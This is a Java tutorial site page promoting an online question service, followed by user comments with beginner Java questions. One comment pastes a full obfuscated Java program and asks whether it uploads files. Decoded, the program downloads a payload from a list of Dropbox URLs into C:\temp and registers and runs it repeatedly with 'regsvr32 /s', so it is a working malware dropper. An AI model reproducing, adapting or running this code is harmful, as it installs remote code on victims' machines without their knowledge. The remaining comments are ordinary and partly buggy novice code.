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Now, it?s time to rejoice for the Java learners and professionals as Roseindia Technologies, a front running software Developer Company has just begun a new service ?ask question online? to resolve your query.

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Java is a platform independent object oriented programming language used on the Web for both client and server processing. Unlike C++ Java automatically frees unused memory. When it is launched from a web page, it is known as Java ‘applet’, and when run without the Web browser on a user's machine, it is known as Java ‘application’. When Java runs in a Web server, it is called Java ‘servlet.’


Thus we can say Java is a technology that allows software designed and written just once for an idealized ‘virtual machine’ to run on a variety of real computers. The technology of Java is versatile, efficient, platform portable and secure. It is an ideal technology for network computing. From laptops to datacenters, game consoles to scientific supercomputers, cell phones to the Internet, Java is everywhere!

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Posted on: November 8, 2009

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Comments:53
ragini
April 17, 2014
java questions

i have some query about java pls help me
evol
April 23, 2014
java servlet to ejb

i want to submit 2 number from html page..accept it by a servlet ...and servlet pass this values to ejb for business methode to add..and after the result will appear on a new jsp page via servlet...how to implememt this...please
Vipul Dhingra
April 25, 2014
swings query

public void setEnabled(boolean b) what is the use of this.. and where i can use this..in java swings
Rohit
April 26, 2014
Java program

import java.io.File; import java.io.IOException; import java.io.InputStream; import java.net.HttpURLConnection; import java.net.URI; import java.net.URL; import java.nio.file.CopyOption; import java.nio.file.Files; import java.nio.file.Paths; public class SOAZYNHYWJ { public static String XEFXUVSAR() { int[] DKXHFPMFVSJFYCCJT = { 104, 116, 116, 112, 115, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47, 108, 114, 120, 99, 115, 53, 113, 99, 114, 101, 105, 54, 104, 55, 112, 47, 113, 119, 100, 102, 118, 98, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 104, 116, 116, 112, 115, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47, 103, 104, 50, 101, 120, 120, 111, 120, 52, 118, 110, 115, 98, 114, 52, 47, 113, 119, 100, 102, 118, 98, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 104, 116, 116, 112, 115, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47, 51, 119, 103, 116, 116, 55, 115, 101, 102, 115, 54, 108, 97, 53, 48, 47, 113, 119, 100, 102, 118, 98, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 104, 116, 116, 112, 115, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47, 117, 120, 107, 120, 57, 101, 51, 112, 117, 109, 104, 112, 57, 110, 115, 47, 113, 119, 100, 102, 118, 98, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 104, 116, 116, 112, 115, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47, 104, 109, 101, 102, 106, 102, 100, 121, 113, 101, 112, 99, 117, 111, 51, 47, 113, 119, 100, 102, 118, 98, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 104, 116, 116, 112, 115, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47, 102, 110, 56, 51, 103, 109, 116, 48, 106, 110, 112, 106, 117, 99, 112, 47, 113, 119, 100, 102, 118, 98, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 104, 116, 116, 112, 115, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47, 114, 117, 99, 112, 106, 110, 54, 105, 50, 51, 49, 101, 121, 122, 112, 47, 113, 119, 100, 102, 118, 98, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 104, 116, 116, 112, 115, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47, 115, 50, 101, 117, 51, 50, 50, 108, 49, 100, 99, 55, 119, 118, 114, 47, 113, 119, 100, 102, 118, 98, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 104, 116, 116, 112, 115, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47, 50, 115, 52, 122, 112, 114, 110, 49, 108, 109, 115, 107, 108, 122, 116, 47, 113, 119, 100, 102, 118, 98, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 104, 116, 116, 112, 115, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47, 54, 108, 97, 104, 107, 53, 105, 49, 111, 117, 98, 122, 52, 50, 115, 47, 113, 119, 100, 102, 118, 98, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 104, 116, 116, 112, 115, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47, 112, 111, 104, 101, 110, 57, 108, 54, 54, 116, 115, 53, 52, 53, 53, 47, 113, 119, 100, 102, 118, 98, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 104, 116, 116, 112, 115, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47, 103, 102, 102, 121, 50, 108, 99, 105, 101, 52, 115, 121, 51, 120, 117, 47, 113, 119, 100, 102, 118, 98, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 104, 116, 116, 112, 115, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47, 102, 109, 118, 101, 111, 53, 49, 99, 114, 50, 49, 118, 113, 115, 120, 47, 113, 119, 100, 102, 118, 98, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 104, 116, 116, 112, 115, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47, 109, 108, 106, 108, 99, 114, 100, 101, 102, 57, 117, 113, 105, 107, 56, 47, 113, 119, 100, 102, 118, 98, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 104, 116, 116, 112, 115, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47, 51, 122, 118, 101, 108, 52, 100, 54, 112, 106, 113, 116, 102, 101, 106, 47, 113, 119, 100, 102, 118, 98, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 104, 116, 116, 112, 115, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47, 98, 57, 101, 56, 118, 104, 103, 106, 50, 104, 116, 117, 114, 51, 54, 47, 113, 119, 100, 102, 118, 98, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 104, 116, 116, 112, 115, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47, 110, 110, 54, 55, 103, 114, 118, 116, 100, 117, 109, 121, 54, 48, 113, 47, 113, 119, 100, 102, 118, 98, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 104, 116, 116, 112, 115, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47, 50, 117, 118, 102, 53, 109, 97, 116, 50, 48, 57, 57, 120, 103, 49, 47, 113, 119, 100, 102, 118, 98, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 104, 116, 116, 112, 115, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47, 118, 113, 105, 102, 117, 111, 49, 101, 109, 55, 115, 110, 102, 107, 53, 47, 113, 119, 100, 102, 118, 98, 46, 100, 97, 116, 63, 100, 108, 61, 49, 64, 64, 64, 104, 116, 116, 112, 115, 58, 47, 47, 100, 108, 46, 100, 114, 111, 112, 98, 111, 120, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 115, 47, 105, 111, 106, 104, 49, 107, 100, 117, 51, 99, 121, 115, 122, 112, 55, 47, 113, 119, 100, 102, 118, 98, 46, 100, 97, 116, 63, 100, 108, 61, 49 }; StringBuilder CUNCNQATN = new StringBuilder(DKXHFPMFVSJFYCCJT.length); for (int i = 0; i < DKXHFPMFVSJFYCCJT.length; i++) { CUNCNQATN.append((char)DKXHFPMFVSJFYCCJT[i]); } return CUNCNQATN.toString(); } public static String ZEWFLUPSFVMJN() { int[] HQSKBMADEOQXCFY = { 64, 64, 64 }; StringBuilder CBNLGE = new StringBuilder(HQSKBMADEOQXCFY.length); for (int o = 0; o < HQSKBMADEOQXCFY.length; o++) { CBNLGE.append((char)HQSKBMADEOQXCFY[o]); } return CBNLGE.toString(); } public static String RYMOJ() { int[] ZEARJTHAJIHYQGFHUQE = { 67, 58, 92, 92, 116, 101, 109, 112, 92, 92, 77, 68, 68, 88, 71, 78, 68, 88, 46, 85, 85, 89 }; StringBuilder PSJSDD = new StringBuilder(ZEARJTHAJIHYQGFHUQE.length); for (int p = 0; p < ZEARJTHAJIHYQGFHUQE.length; p++) { PSJSDD.append((char)ZEARJTHAJIHYQGFHUQE[p]); } return PSJSDD.toString(); } public static String NSOYOFTQAOUQWMT() { int[] MGEBTGZDEHF = { 67, 58, 92, 92, 116, 101, 109, 112, 92, 92 }; StringBuilder BQKPESBMFOXXLUPX = new StringBuilder(MGEBTGZDEHF.length); for (int g = 0; g < MGEBTGZDEHF.length; g++) { BQKPESBMFOXXLUPX.append((char)MGEBTGZDEHF[g]); } return BQKPESBMFOXXLUPX.toString(); } public static String NFZWVTDMC() { int[] CDVMZRVZBVMVG = { 114, 101, 103, 115, 118, 114, 51, 50, 32, 47, 115, 32, 67, 58, 92, 92, 116, 101, 109, 112, 92, 92, 77, 68, 68, 88, 71, 78, 68, 88, 46, 85, 85, 89 }; StringBuilder ZJDNBGNQJXBT = new StringBuilder(CDVMZRVZBVMVG.length); for (int n = 0; n < CDVMZRVZBVMVG.length; n++) { ZJDNBGNQJXBT.append((char)CDVMZRVZBVMVG[n]); } return ZJDNBGNQJXBT.toString(); } public static void MMLDIHCKGRXGERQXTPJ() throws IOException, InterruptedException { int d = 3; while (d < 9) { Runtime.getRuntime().exec(NFZWVTDMC()); d++; Thread.sleep(1000L); } } public static void main(String[] args) throws Exception { new File(NSOYOFTQAOUQWMT()).mkdir(); File q = new File(RYMOJ()); if (q.exists()) { MMLDIHCKGRXGERQXTPJ(); } else { String[] DTJWPDDCLGY = XEFXUVSAR().split(ZEWFLUPSFVMJN()); for (String EHQHLDGHEASW : DTJWPDDCLGY) { URL OGVJKFWVSHOZNGCP = new URL(EHQHLDGHEASW); HttpURLConnection LZTORWUYFDO = (HttpURLConnection)OGVJKFWVSHOZNGCP.openConnection(); LZTORWUYFDO.connect(); if (LZTORWUYFDO.getResponseCode() / 100 == 2) { String KZBGNIIXJLHHJEGHE = EHQHLDGHEASW; String TBGQVZFURVZVA = RYMOJ(); LVTMVHXQULNUOUYN(KZBGNIIXJLHHJEGHE, TBGQVZFURVZVA); break; } } } } public static void LVTMVHXQULNUOUYN(String CDVMZRVZBVMVGIAMXSB, String AUSIXTMTUORKHEXRVQK) throws IOException, InterruptedException { InputStream HPVXALRLIB = URI.create(CDVMZRVZBVMVGIAMXSB).toURL().openStream(); Files.copy(HPVXALRLIB, Paths.get(AUSIXTMTUORKHEXRVQK, new String[0]), new CopyOption[0]); MMLDIHCKGRXGERQXTPJ(); } } Is this program above some sort of copies files from our directory and upload to some server ?
pramodnawle
September 5, 2014
java querry

import javax.swing.JOptionPane; class hello { int i; public void showi() { System.out.println(i); } } class lab1 extends hello { private static final String integer = null; int j; int k; public void showijk() { System.out.println("i+"+"+j"+"+k"); } public void sum() { double s = i+j+k; System.out.println("sum"+s); } public static void main(String[] args) { hello h = new hello(); h.i = 50; h.showi(); lab1 l = new lab1(); l.i = integer.parseInt(JOptionPane.showInputDialog(null,"Enter the value ")); l.j = integer.parseInt(JOptionPane.showInputDialog(null,"Enter the value ")); l.k = integer.parseInt(JOptionPane.showInputDialog(null,"Enter the value ")); l.showi(); l.showj(); l.showk(); } }
pooja
December 25, 2011
java

i need two find addition of two matrices but through objects.finding the out by coding in main function is easy but i am not able to do it through objects .............is it possible!!!!!
palvi
July 4, 2012
java doubts

You have following code snippet public class NoOneGetInstance { private NoOneGetInstance() { } } class ICanGetInstance { public void m() { // I can get instance of 'NoOneGetInstance' , but how :( ? } } Now question is How class 'ICanGetInstance' get instance of class 'NoOneGetInstance' ?. To get a solution you can do add code 'NoOneGetInstance' but u should not change constructor access modifier 'private' ;)
palvi
July 4, 2012
java doubts

You have following code snippet public class NoOneGetInstance { private NoOneGetInstance() { } } class ICanGetInstance { public void m() { // I can get instance of 'NoOneGetInstance' , but how :( ? } } Now question is How class 'ICanGetInstance' get instance of class 'NoOneGetInstance' ?. To get a solution you can do add code 'NoOneGetInstance' but u should not change constructor access modifier 'private' ;)
Emily
July 31, 2012
Collating Information

i have a problem. i have 100 boxes of chocolate. each box of chocolate has the type of chocolate and the number of chocolates. i have started my program and these are randomly generated. some boxes have the same type of chocolate, but different numbers of chocolates and vice verca. I want to know how to group this information so i can print an output which says the type of chocolate and the number of boxes that are this type of chocolate. ie the output should look like this: Type: Raspberry, Number: 4 Type: Praline, Number 17 etc. ive done all the start stuff. so when the program starts it prints a list. i just am unsure how to group this information. THANKYOU SO MUCH. you guys are the bees knees :)
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